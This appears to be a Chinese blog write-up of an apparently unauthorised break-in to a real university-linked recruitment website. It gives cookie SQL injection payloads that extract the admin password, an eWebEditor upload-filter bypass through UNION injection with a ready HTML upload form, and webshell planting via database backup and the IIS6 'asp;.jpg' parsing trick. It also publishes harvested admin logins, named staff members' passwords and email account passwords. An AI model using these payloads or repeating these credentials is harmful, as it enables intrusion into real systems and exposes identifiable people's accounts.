比赛归来,机友无意中扫到了一个注入点,貌似和工大有关系,就扔给了我,有报错,没有过滤单引号,不过做了防注入处理
首先尝试了几种流行的绕过防注入的方法
(1)运用URLEncode编码 ,这个我认为是不科学的,因为URLEncode是浏览器解析的,在服务端根本不会产生影响
(2)使用char(),hex()函数,这个函数只能用于常量被过滤的情况,并不能绕过select等关键字的过滤
(3)去掉空格,或者使用tab代替空格,或者使用注释/**/代替空格或者分割关键字,等等。一般情况不会有用(实验证明在mysql下/**/不能分割关键字)
(4)通过like in between 等关键字绕过对 ’=‘ 的注入,一般会生效,但是这种情况下select ,from 等关键字也会被过滤。
(5)用+拆分常量,只适用于常量的绕过
这几种方法都没有成功
之后通过wwwscan的扫描得到了泄漏模板信息的页面,使用的是众泰网站系统,果断下载模板
找到conn\conn.asp文件,其中的防注入代码如下,根据代码,在所有的数据库连接处对所有get,post提交的数据进行过滤,不过却漏掉了cookie
'为了系统的安全,直接在有数据库连接的地方都加上SQL注入的免疫 '自定义需要过滤的字串,用 "|" 分隔 Fy_In = "'| ; | exec | insert | select | delete | update | count | % |chr(| char(| master | truncate | declare " '---------------------------------- Fy_Inf = split(Fy_In,"|") If Request.QueryString()<>"" Then For Each Fy_Get In Request.QueryString() For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),trim(Fy_Inf(Fy_Xh)))<>0 Then '--------写入数据库----------头----- conn.Execute("insert into wronglog(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')") '--------写入数据库----------尾----- End If Next Next End If dim sql_injdata,sql_inj,sql_get,sql_data SQL_injdata = "'" SQL_inj = split(SQL_Injdata,"|") '防止Get方法注入 If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入');history.back(-1)</Script>" Response.end end if next Next End If '防止Post方法注入 If Request.Form<>"" Then For Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>" Response.end end if next next end if注入点的代码如下,直接使用request来读取参数,是典型的cookie注入。
<%ds="../"%> <!--#include file="../conn/conn.asp"--> <!--#include file="../inc/sub.asp"--> <!--#include file="../inc/safe.asp"--> <% ttid=request("typeid") if not IsNumeric(ttid) then else set rs=conn.execute("select type from zt_aclass where id="&ttid&"") news_typename=rs("type") set rs=nothing end if %>构造注入语句,直接使用模板的默认表明,与列名发现管理员并未作修改,联合查询得知输出位置为2号位。
javascript:alert(document.cookie="typeid="+escape("1 union select 1,2 from zt_Super")); javascript:alert(document.cookie="typeid="+escape("1 union select 1,2,3,4,5,6,7,8,9 from zt_Super"));
查询管理员用户与密码,concat()函数可以把两个结果合并,在联合查询中很好用。
javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_user,3,4,5,6,7,8,9 from zt_Super")); javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_pass,3,4,5,6,7,8,9 from zt_Super")); javascrip:alert(document.cookie="typeid="+escape("1 union select 1,concat(JOB_user,0x3a,JOB_pass),3,4,5,6,7,8,9 from zt_Super"));
得到管理员用户为:admin
与md5加密的密码,在线破解发现密码很弱为:8762
进入后台,发现功能很弱,只有发布文章与管理用户的功能,其他功能都被管理员删除了,使用了ewebeditor编译器,不过ewebeditor的后台也被删除了。
空空荡荡的后台
开始琢磨对ewebeditor做手脚,看看能不能上传一句话上去,下载了一个ewebeditor发现其运行原理如下
(1)编译页面选择上传文件类型并通过js把上传文件类型传送给服务器
(2)通过上传文件类型读取数据库,取得该类型的AllowExt
(3)判断后缀合法性,并修改文件名
(4)最后验证后缀是否是asp
(5)保存文件,
关键代码如下
Sub InitUpload() sType = UCase(Trim(Request.QueryString("type"))) sStyleName = Get_SafeStr(Trim(Request.QueryString("style"))) //这里也加入了防注入的语句- -! sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'" oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sBaseUrl = oRs("S_BaseUrl") nUploadObject = oRs("S_UploadObject") nAutoDir = oRs("S_AutoDir") sUploadDir = oRs("S_UploadDir") Select Case sBaseUrl Case "0" sContentPath = oRs("S_ContentPath") Case "1" sContentPath = RelativePath2RootPath(sUploadDir) Case "2" sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) End Select Select Case sType Case "REMOTE" sAllowExt = oRs("S_RemoteExt") nAllowSize = oRs("S_RemoteSize") Case "FILE" sAllowExt = oRs("S_FileExt") nAllowSize = oRs("S_FileSize") Case "MEDIA" sAllowExt = oRs("S_MediaExt") nAllowSize = oRs("S_MediaSize") Case "FLASH" sAllowExt = oRs("S_FlashExt") nAllowSize = oRs("S_FlashSize") Case Else sAllowExt = oRs("S_ImageExt") nAllowSize = oRs("S_ImageSize") End Select Else OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')") End If oRs.Close ' 任何情况下都不允许上传asp脚本文件 sAllowExt = Replace(UCase(sAllowExt), "ASP", "") End Sub
又找到了提交文件时使用的url,发现可以利用注入来修改AllowExt的查询结果,从而上传asa后缀的文件(因为asp在任何情况下都无法上传)
http://www.hit-hr.com/editor/upload.asp?action=save&type=image&style=standard构造注入点如下,首先通过不存在的style值使查询结果为空,在通过union select填补并修改我们想要的结果,达到狸猫换太子的目的。
这样我们只需要向这个畸形url post我们的一句话就可以了
upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileE-xt,S_FlashExt, [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-S_RemoteSize ,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje-ct,S_AutoDir,S_BaseHref,S_ContentPath, S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a大家如果觉得用nc.exe比较麻烦的话,可以写一个html来提交,不过几次尝试均失败了
<HTML> <HEAD> <TITLE>文件上传</TITLE> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css"> body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;} body {padding:0px;margin:0px} </style> </head> <body bgcolor=menu> <form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value"> <input type=hidden name=originalfile value=""><input name="" type="submit" value="提交"> </form> </body> </html>后来发现,在获取style参数时加入了防注入,并过滤了 单引号,这样这条思路又行不通了。
sStyleName = Get_SafeStr(Trim(Request.QueryString("style"))) //这里也加入了防注入的语句- -!
又回到后台,猜想管理员只是删除了管理页面上的链接,并没有删除具体功能实现的页面,尝试之,成功!
根据模板源码找到,数据库备份功能的页面,果断上传一句话并使用数据库备份修改后缀。
使用 菜刀连接之,并上传大马,不过发现大马被内容被杀掉,并替换成“文件被禁止!”,使用了多款过了vriustotal的网马,均被杀。
网站目录之下有读写的权限,命令不能执行,会显示“[Err] ActiveX 部件不能创建对象”,使用上传cmd.exe的方法也不能解决,
可能是管理员删除了某些dll。
搜索了一下IP为北京市息壤傳媒文化有限公司,是一个独立IP的供应商,管路后台如下,拿之前的密码试了几次,都没有成功。
http://diy.mydnschina.com/
既然是虚拟服务器,杀软变态一些也合乎情理了,应该是用来防止
使用者上传危险文件用的。因为有目录的读写权限,做了一些信息收集。
网站标题:哈工大人才网 网站URL地址: 网站LOGO存放地址: 网站版权信息: 网站关键词: 网站描述: 联系人:客服部 联系地址:金华市八一北街汇金国际商务大厦28楼 电话:13586979758 传真:13586979758 邮件发送组件:1 邮件服务器:mail.has.ac.cn 邮箱用户名:[email protected] 邮箱密码:111111 (密码已失效) 邮件域:has.ac.cn 站长名称: 站长邮箱: 系统安装目录:/ 管理员目录:Admin 管理员帐户 http://www.hit-hr.com/admin/admin_login.asp admin 8762 http://www.hit-hr.com/xadmin/login.asp 肖磊 11111 王殿明 1234 邮箱 (/temp/temp.rar 是一个备份文件,其中有几个asp页面,暴露了一个邮箱账户和密码 ) [email protected] 79866
百度了一下上面两位管理员的名字,竟然是校友,难道这是毕业学长自主创业失败的产物?这个弱口令简直弱的太可爱了。。。罪过罪过,睡觉去鸟。
第二天果然有大神上传了大马,思路是把一个图片的头放到大马之前或者用copy也可以,名字是1234.asp;.jpg这样,这样利用jpg的后缀逃过强大杀软的规则,并通过IIS6.0的解析漏洞
使asp能够执行,虽然上传的大马界面很挫,但是可以忍哈哈~最后在他的目录下找到了 龙盾IIS防火墙 唯一可以防木马上传的防火墙 - -! 泥马